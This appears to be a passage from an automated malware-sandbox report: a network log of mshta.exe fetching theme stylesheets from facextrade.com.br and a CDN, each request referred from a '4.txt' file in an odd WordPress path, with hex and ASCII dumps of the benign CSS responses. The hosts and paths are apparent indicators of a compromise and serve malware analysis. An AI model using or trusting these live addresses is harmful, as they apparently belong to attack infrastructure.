                                                              Data Ascii: wp-public.css.map */


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              18192.168.2.2249191187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:11.086374998 CEST628OUTGET /wp-content/themes/theme51253/main-style.css HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:11.324667931 CEST630INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:32:40 GMT
                                                              Server: Apache
                                                              ETag: "a53765-1130b-5cd2be5c3c8aa"
                                                              Last-Modified: Thu, 30 Sep 2021 00:55:05 GMT
                                                              Content-Length: 70411
                                                              Content-Type: text/css
                                                              Cache-Control: No-Cache
                                                              Pragma: no-cache
                                                              X-Varnish: 19207295 21783908
                                                              Age: 31
                                                              Via: 1.1 varnish-v4
                                                              Accept-Ranges: bytes
                                                              Connection: keep-alive
                                                              Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 22 2e 2e 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 73 74 79 6c 65 2e 63 73 73 22 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 31 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 33 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 34 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 37 30 30 29 3b 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4c 61 74 6f 3a 39 30 30 29 3b 0a 2e 77 72 61 70 20 7b 20 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 20 7d 0a 68 31 2c 20 68 32 2c 20 68 33 2c 20 68 34 2c 20 68 35 2c 20 68 36 20 7b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 20 7d 0a 68 32 20 7b 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 31 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 29 3b 0a 7d 0a 68 32 20 73 74 72 6f 6e 67 20 7b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 39 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0a 68 33 20 7b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 39 30 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 7d 0a 61 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 7d 0a 61 3a 68 6f 76 65 72 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 20 7d 0a 2e 68 65 61 64 65 72 20 7b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0a 09 74 6f 70 3a 30 3b 0a 09 70 61 64 64 69 6e 67 3a 32 33 70 78 20 30 20 32 30 70 78 3b 0a 09 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 09 2e 68 65 61 64 65 72 20 7b 0a 09 09 77 69 64 74 68 3a 61 75 74 6f 3b 0a 09 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 32 30 70 78 3b 0a 09 09 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 70 78 3b 0a 09 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 7d 0a 7d 0a 2e 68 65 61 64 65 72 3a 61 66 74 65 72 20 7b 0a 09 63 6f 6e 74 65 6e 74 3a 27 27 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a
                                                              Data Ascii: @import url("../CherryFramework/style.css");@import url(//fonts.googleapis.com/css?family=Lato:100);@import url(//fonts.googleapis.com/css?family=Lato:300);@import url(//fonts.googleapis.com/css?family=Lato:400);@import url(//fonts.googleapis.com/css?family=Lato:700);@import url(//fonts.googleapis.com/css?family=Lato:900);.wrap { overflow:hidden; }h1, h2, h3, h4, h5, h6 { margin-top:0; }h2 {font-weight:100 !important;text-shadow:0 0 0 rgba(0,0,0,0);}h2 strong { font-weight:900 !important; }h3 { font-weight:900 !important; }a {-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}a:hover { text-decoration:none; }.header {width:100%;position:absolute;top:0;padding:23px 0 20px;border:none;background:#fff;}@media (max-width: 767px) {.header {width:auto;padding-left:20px;padding-right:20px;position:relative !important;}}.header:after {content:'';position:
                                                              Aug 16, 2022 10:33:11.324728966 CEST631INData Raw: 61 62 73 6f 6c 75 74 65 3b 0a 09 62 6f 74 74 6f 6d 3a 2d 31 33 70 78 3b 0a 09 6c 65 66 74 3a 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 09 68 65 69 67 68 74 3a 31 33 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72 65
                                                              Data Ascii: absolute;bottom:-13px;left:0;width:100%;height:13px;background-repeat:repeat-x;background-image:url(images/header-bottom.png);}@media (max-width: 767px) {.header.isStuck { top:0 !important; }}.header.isStuck .logo a img {wi
                                                              Aug 16, 2022 10:33:11.324852943 CEST633INData Raw: 20 30 2e 35 73 20 65 61 73 65 3b 0a 7d 0a 2e 68 65 61 64 65 72 20 6e 61 76 2e 6e 61 76 5f 5f 70 72 69 6d 61 72 79 20 2e 73 66 2d 6d 65 6e 75 20 3e 6c 69 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a
                                                              Data Ascii: 0.5s ease;}.header nav.nav__primary .sf-menu >li {background:none;position:relative;float:left;display:inline-block;margin-right:30px;}.header nav.nav__primary .sf-menu >li >a {text-transform:uppercase;font-weight:700;bord
                                                              Aug 16, 2022 10:33:11.324974060 CEST634INData Raw: 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 31 62 65 65 38 3b 0a 7d 0a 2e 68 65 61 64 65 72 20 6e 61 76 2e 6e 61 76 5f 5f 70 72 69 6d 61 72 79 20 2e 73 66 2d 6d 65 6e 75 20 3e 6c 69 20 2e 73 75 62 2d 6d 65 6e 75 20 6c
                                                              Data Ascii: lor:#fff;background:#21bee8;}.header nav.nav__primary .sf-menu >li .sub-menu li.menu-item-has-children > a:before {width:8px;height:40px;position:absolute;top:0;right:-8px;display:block;background:url("images/extra1.png") cen
                                                              Aug 16, 2022 10:33:11.325088024 CEST636INData Raw: 72 69 67 68 74 3a 36 35 70 78 3b 0a 09 7d 0a 7d 0a 2e 62 74 6e 3a 68 6f 76 65 72 20 7b 0a 09 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 23 33 33 33 33 33 33 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f
                                                              Data Ascii: right:65px;}}.btn:hover {color:#fff;background:#333333;-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.btn:active {color:#fff;background:none;}.btn:f
                                                              Aug 16, 2022 10:33:11.325227022 CEST637INData Raw: 61 64 64 69 6e 67 3a 31 36 70 78 20 35 35 70 78 3b 0a 09 74 65 78 74 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 0a 09 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 66 33 39 63 31 32 3b 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 0a
                                                              Data Ascii: adding:16px 55px;text-shadow:none;border:1px solid #f39c12;box-shadow:none;text-shadow:none !important;-webkit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.rev_
                                                              Aug 16, 2022 10:33:11.325377941 CEST638INData Raw: 6e 6f 6e 65 3b 0a 09 70 61 64 64 69 6e 67 3a 31 36 70 78 20 38 35 70 78 3b 0a 7d 0a 2e 6d 6f 72 65 62 74 6e 36 3a 68 6f 76 65 72 20 7b 0a 09 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 09 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 32 31 62 65
                                                              Data Ascii: none;padding:16px 85px;}.morebtn6:hover {color:#fff;border:1px solid #21bee8;background:#21bee8;}.cherry_media_parallax_1 {opacity:0;filter:alpha(opacity=0);}.cherry_media_parallax_1 .parallax-content { padding:365px 0 250px
                                                              Aug 16, 2022 10:33:11.325529099 CEST640INData Raw: 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30 2e 35 73 20 65 61 73 65 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 30
                                                              Data Ascii: kit-transition:all 0.5s ease;-moz-transition:all 0.5s ease;-o-transition:all 0.5s ease;transition:all 0.5s ease;}.cherry_media_parallax_1 .parallax_inner:before { display:none !important; }.cherry_fixed_parallax1 { overflow:hidden; }
                                                              Aug 16, 2022 10:33:11.325711012 CEST641INData Raw: 66 69 78 65 64 5f 70 61 72 61 6c 6c 61 78 34 20 2e 70 61 72 61 6c 6c 61 78 2d 63 6f 6e 74 65 6e 74 20 68 33 20 7b 0a 09 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 0a 09 63 6f 6c
                                                              Data Ascii: fixed_parallax4 .parallax-content h3 {margin-bottom:15px;text-align:left;color:#fff;}.cherry_fixed_parallax4 .parallax-content p { text-align:left; }.cherry_fixed_parallax4 .parallax-content .icon_type1 {margin:0 30px 38px 0;backg
                                                              Aug 16, 2022 10:33:11.325889111 CEST643INData Raw: 6e 2d 62 6f 74 74 6f 6d 3a 35 33 70 78 3b 0a 09 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 0a 7d 0a 2e 63 68 65 72 72 79 5f 66 69 78 65 64 5f 70 61 72 61 6c 6c 61 78 37 20 2e 70 61 72 61 6c 6c 61 78 2d 63 6f 6e 74 65 6e 74 20 2e 6d 6f 72 65 62 74
                                                              Data Ascii: n-bottom:53px;color:inherit;}.cherry_fixed_parallax7 .parallax-content .morebtn6 {margin-top:50px;padding-left:90px;padding-right:90px;}.cherry_fixed_parallax8 .parallax-content {text-align:center;padding:60px 0 70px 0;}.cher
                                                              Aug 16, 2022 10:33:11.564836025 CEST644INData Raw: 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 39 70 78 3b 20 7d 0a 2e 65 78 74 72 61 5f 77 72 61 70 33 20 75 6c 20 6c 69 20 61 20 7b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 0a 09 63 6f
                                                              Data Ascii: argin-bottom:9px; }.extra_wrap3 ul li a {font-size:14px;line-height:20px;color:#2ecc71;text-transform:uppercase;}.extra_wrap3 ul li a:hover { color:#fff; }.extra_wrap4 h3 { margin-bottom:30px; }.extra_wrap4 ul {margin:0;list-s
                                                              Aug 16, 2022 10:33:11.853499889 CEST705OUTGET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:12.100461960 CEST717INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:11 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 02 Apr 2019 21:37:34 GMT
                                                              ETag: "a5169a-156c1-58592f1eb4380"
                                                              Accept-Ranges: bytes
                                                              Content-Length: 87745
                                                              Connection: close
                                                              Content-Type: text/css


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              19192.168.2.2249192187.45.240.6980C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:11.734493971 CEST672OUTGET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: facextrade.com.br
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:11.965909958 CEST706INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:11 GMT
                                                              Server: Apache
                                                              Last-Modified: Tue, 02 Apr 2019 21:29:00 GMT
                                                              ETag: "a53043-2458-58592d3483f00"
                                                              Accept-Ranges: bytes
                                                              Content-Length: 9304
                                                              Connection: close
                                                              Content-Type: text/css
                                                              Data Raw: 2f 2a 20 4d 61 67 6e 69 66 69 63 20 50 6f 70 75 70 20 43 53 53 20 2a 2f 0a 2e 6d 66 70 2d 62 67 20 7b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 32 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 62 30 62 30 62 3b 0a 20 20 6f 70 61 63 69 74 79 3a 20 30 2e 38 3b 0a 20 20 66 69 6c 74 65 72 3a 20 61 6c 70 68 61 28 6f 70 61 63 69 74 79 3d 38 30 29 3b 20 7d 0a 0a 2e 6d 66 70 2d 77 72 61 70 20 7b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 33 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0a 20 20 6f 75 74 6c 69 6e 65 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 74 6f 70 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 20 38 70 78 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 27 27 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 20 7d 0a 0a 2e 6d 66 70 2d 61 6c 69 67 6e 2d 74 6f 70 20 2e 6d 66 70 2d 63 6f 6e 74 61 69 6e 65 72 3a 62 65 66 6f 72 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 7d 0a 0a 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 31 30 34 35 3b 20 7d 0a 0a 2e 6d 66 70 2d 69 6e 6c 69 6e 65 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 2c 0a 2e 6d 66 70 2d 61 6a 61 78 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6f 6e 74 65 6e 74 20 7b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 63 75 72 73 6f 72 3a 20 61 75 74 6f 3b 20 7d 0a 0a 2e 6d 66 70 2d 61 6a 61 78 2d 63 75 72 20 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 72 6f 67 72 65 73 73 3b 20 7d 0a 0a 2e 6d 66 70 2d 7a 6f 6f 6d 2d 6f 75 74 2d 63 75 72 2c 0a 2e 6d 66 70 2d 7a 6f 6f 6d 2d 6f 75 74 2d 63 75 72 20
                                                              Data Ascii: /* Magnific Popup CSS */.mfp-bg { top: 0; left: 0; width: 100%; height: 100%; z-index: 1042; overflow: hidden; position: fixed; background: #0b0b0b; opacity: 0.8; filter: alpha(opacity=80); }.mfp-wrap { top: 0; left: 0; width: 100%; height: 100%; z-index: 1043; position: fixed; outline: none !important; -webkit-backface-visibility: hidden; }.mfp-container { text-align: center; position: absolute; width: 100%; height: 100%; left: 0; top: 0; padding: 0 8px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; }.mfp-container:before { content: ''; display: inline-block; height: 100%; vertical-align: middle; }.mfp-align-top .mfp-container:before { display: none; }.mfp-content { position: relative; display: inline-block; vertical-align: middle; margin: 0 auto; text-align: left; z-index: 1045; }.mfp-inline-holder .mfp-content,.mfp-ajax-holder .mfp-content { width: 100%; cursor: auto; }.mfp-ajax-cur { cursor: progress; }.mfp-zoom-out-cur,.mfp-zoom-out-cur
                                                              Aug 16, 2022 10:33:11.965930939 CEST708INData Raw: 2e 6d 66 70 2d 69 6d 61 67 65 2d 68 6f 6c 64 65 72 20 2e 6d 66 70 2d 63 6c 6f 73 65 20 7b 0a 20 20 2f 2a 63 75 72 73 6f 72 3a 20 2d 6d 6f 7a 2d 7a 6f 6f 6d 2d 6f 75 74 3b 0a 20 20 63 75 72 73 6f 72 3a 20 2d 77 65 62 6b 69 74 2d 7a 6f 6f 6d 2d 6f
                                                              Data Ascii: .mfp-image-holder .mfp-close { /*cursor: -moz-zoom-out; cursor: -webkit-zoom-out; cursor: zoom-out;*/ }.mfp-zoom { cursor: pointer; cursor: -webkit-zoom-in; cursor: -moz-zoom-in; cursor: zoom-in; }.mfp-auto-cursor .mfp-conten
                                                              Aug 16, 2022 10:33:11.965946913 CEST709INData Raw: 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 42 61 73 6b 65 72 76 69 6c 6c 65 2c 20 6d 6f 6e 6f 73 70 61 63 65 3b 20 7d 0a 20 20 2e 6d 66 70 2d 63 6c 6f 73 65 3a 68 6f 76
                                                              Data Ascii: font-size: 28px; font-family: Arial, Baskerville, monospace; } .mfp-close:hover, .mfp-close:focus { opacity: 1; } .mfp-close:active { top: 1px; }.mfp-close-btn-in .mfp-close { color: #333333; }.mfp-image-holder .mfp-close,
                                                              Aug 16, 2022 10:33:11.965959072 CEST710INData Raw: 67 68 74 3a 20 31 37 70 78 20 73 6f 6c 69 64 20 77 68 69 74 65 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 31 70 78 3b 20 7d 0a 20 20 2e 6d 66 70 2d 61 72 72 6f 77 2d 6c 65 66 74 3a 62 65 66 6f 72 65 2c 0a 20 20 2e 6d 66 70 2d 61
                                                              Data Ascii: ght: 17px solid white; margin-left: 31px; } .mfp-arrow-left:before, .mfp-arrow-left .mfp-b { margin-left: 25px; border-right: 27px solid #3f3f3f; }.mfp-arrow-right { right: 0; } .mfp-arrow-right:after, .mfp-arrow-right
                                                              Aug 16, 2022 10:33:11.965976000 CEST712INData Raw: 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 2d 31 3b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 38 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 36 29 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a
                                                              Data Ascii: ight: auto; z-index: -1; box-shadow: 0 0 8px rgba(0, 0, 0, 0.6); background: #444444; }.mfp-figure { line-height: 0; }.mfp-bottom-bar { margin-top: -36px; position: absolute; top: 100%; left: 0; width: 100%; cursor: aut
                                                              Aug 16, 2022 10:33:11.965995073 CEST713INData Raw: 69 6c 65 20 2e 6d 66 70 2d 63 6f 75 6e 74 65 72 20 7b 0a 20 20 20 20 72 69 67 68 74 3a 20 35 70 78 3b 0a 20 20 20 20 74 6f 70 3a 20 33 70 78 3b 20 7d 0a 0a 20 20 2e 6d 66 70 2d 69 6d 67 2d 6d 6f 62 69 6c 65 20 2e 6d 66 70 2d 63 6c 6f 73 65 20 7b
                                                              Data Ascii: ile .mfp-counter { right: 5px; top: 3px; } .mfp-img-mobile .mfp-close { top: 0; right: 0; width: 35px; height: 35px; line-height: 35px; background: rgba(0, 0, 0, 0.6); position: fixed; text-align: cen
                                                              Aug 16, 2022 10:33:11.966016054 CEST714INData Raw: 61 63 69 74 79 3a 20 30 2e 38 3b 0a 7d 0a 2f 2a 20 6f 76 65 72 6c 61 79 20 61 6e 69 6d 61 74 65 20 6f 75 74 20 2a 2f 0a 2e 6d 66 70 2d 66 61 64 65 2e 6d 66 70 2d 62 67 2e 6d 66 70 2d 72 65 6d 6f 76 69 6e 67 20 7b 0a 20 20 6f 70 61 63 69 74 79 3a
                                                              Data Ascii: acity: 0.8;}/* overlay animate out */.mfp-fade.mfp-bg.mfp-removing { opacity: 0;}/* content at start */.mfp-fade.mfp-wrap .mfp-content { opacity: 0; -webkit-transition: all 0.15s ease-out; -moz-transition: all 0.15s ease-out;
                                                              Aug 16, 2022 10:33:11.966025114 CEST715INData Raw: 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 2e 38 29 3b 0a 20 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 2e 38 29 3b 0a 20 20 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30
                                                              Data Ascii: bkit-transform: scale(0.8); -moz-transform: scale(0.8); -ms-transform: scale(0.8); transform: scale(0.8); opacity: 0;}.mfp-zoom-in.mfp-removing.mfp-bg { opacity: 0;}


                                                              Session IDSource IPSource PortDestination IPDestination PortProcess
                                                              2192.168.2.2249173104.18.10.20780C:\Windows\System32\mshta.exe
                                                              TimestampkBytes transferredDirectionData
                                                              Aug 16, 2022 10:33:04.530935049 CEST13OUTGET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1
                                                              Accept: */*
                                                              Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                              Accept-Language: en-US
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                                              Host: netdna.bootstrapcdn.com
                                                              Connection: Keep-Alive
                                                              Aug 16, 2022 10:33:04.578048944 CEST15INHTTP/1.1 200 OK
                                                              Date: Tue, 16 Aug 2022 08:33:04 GMT
                                                              Content-Type: text/css; charset=utf-8
                                                              Transfer-Encoding: chunked
                                                              Connection: keep-alive
                                                              Vary: Accept-Encoding
                                                              CDN-PullZone: 252412
                                                              CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74
                                                              CDN-RequestCountryCode: US
                                                              CDN-EdgeStorageId: 617
                                                              CDN-EdgeStorageId: 617
                                                              Last-Modified: Mon, 25 Jan 2021 22:04:51 GMT
                                                              CDN-CachedAt: 2021-06-08 14:14:42
                                                              CDN-RequestPullSuccess: True
                                                              CDN-RequestPullCode: 200
                                                              Cache-Control: public, max-age=31919000
                                                              timing-allow-origin: *
                                                              cross-origin-resource-policy: cross-origin
                                                              access-control-allow-origin: *
                                                              x-content-type-options: nosniff
                                                              CDN-RequestId: 9256d228095e0e65283ebf5530b25e58
                                                              Content-Encoding: gzip
                                                              CDN-Cache: HIT
                                                              CF-Cache-Status: HIT
                                                              Age: 17541469
                                                              Server: cloudflare
                                                              CF-RAY: 73b8d2b35e6b9b5b-FRA
                                                              alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
